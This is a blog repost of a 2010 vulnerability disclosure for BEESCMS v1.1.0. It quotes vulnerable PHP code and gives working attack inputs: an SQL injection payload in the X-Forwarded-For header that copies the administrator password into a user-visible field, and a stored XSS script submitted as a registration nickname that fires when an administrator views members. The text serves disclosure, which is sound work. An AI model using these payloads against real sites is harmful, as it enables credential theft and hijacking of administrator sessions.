BEESCMS v1.1.0 getip()注射漏洞与XSS
作者:王者星星 日期:2010-10-26
发布日期:2010-10.25
发布作者:子仪
影响版本:BEESCMS v1.1.0
官方地址:http://www.beescms.com
漏洞类型:SQL注入、XSS
漏洞描述:BEES企业网站管理系统(以下称BEES)是一个基于PHP+Mysql架构的企业网站管理系统。BEES 采用模块化方式开发,功能强大灵活易于扩展,并且完全开放源代码,多种语言分站,为企业网站建设和外贸提供解决方案。
漏洞1:
- fun.php
- function get_ip(){
- if(!empty($_SERVER['HTTP_CLIENT_IP']))
- {
- return $_SERVER['HTTP_CLIENT_IP'];
- }
- elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //这里可以伪造
- {
- return $_SERVER['HTTP_X_FORWARDED_FOR'];
- }
- else
- {
- return $_SERVER['REMOTE_ADDR'];
- }
- }
- reg.php
- $ip=get_ip();
- $sql="update ".DB_PRE."member set member_time='{$addtime}',member_ip='{$ip}' where id={$last_id}";
简单构造一下x_forwarded_for:127.0.0.1',member_qq = (select admin_password from bees_admin),member_phone = 'ziyi,就把管理员密码射到你QQ号上了,过会发EXP。
漏洞2:XSS
同样是在注册页面,昵称没有过滤就入库,导致可以可以XSS。在昵称一栏填写<script>alert('子仪')</script>,注册成功后,当管理员在后台打开会员管理就会触发我们的XSS代码,如图:

评论: 0 | 引用: 0 | 查看次数: -
发表评论
上一篇
下一篇

文章来自:
Tags:
相关日志: